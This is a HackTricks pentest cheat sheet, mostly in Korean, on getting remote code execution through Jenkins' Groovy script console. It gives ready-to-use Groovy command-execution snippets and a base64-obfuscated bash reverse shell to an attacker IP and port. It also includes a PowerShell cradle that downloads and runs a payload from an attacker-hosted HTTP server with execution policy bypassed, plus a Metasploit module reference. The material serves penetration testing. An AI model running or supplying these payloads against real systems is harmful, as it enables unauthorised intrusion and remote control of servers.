Jenkins RCE with Groovy Script

Support HackTricks

Jenkins RCE with Groovy Script

이것은 Jenkins에서 새 프로젝트를 만드는 것보다 덜 시끄럽습니다.

  1. _path_jenkins/script_로 이동합니다.

  2. 텍스트 상자에 스크립트를 입력합니다.

def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

다음과 같이 명령을 실행할 수 있습니다: cmd.exe /c dir

리눅스에서는 다음과 같이 할 수 있습니다: "ls /".execute().text

텍스트 안에 _따옴표_와 _단일 따옴표_를 사용해야 하는 경우, """PAYLOAD""" (세 개의 이중 따옴표)를 사용하여 페이로드를 실행할 수 있습니다.

또 다른 유용한 groovy 스크립트는 ( [INSERT COMMAND]를 교체하세요):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

리버스 셸 in linux

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Reverse shell in windows

PS 리버스 셸이 있는 HTTP 서버를 준비하고 Jeking을 사용하여 다운로드하고 실행할 수 있습니다:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

Script

이 프로세스는 이 스크립트로 자동화할 수 있습니다.

MSF를 사용하여 리버스 셸을 얻을 수 있습니다:

msf> use exploit/multi/http/jenkins_script_console
HackTricks 지원하기

Last updated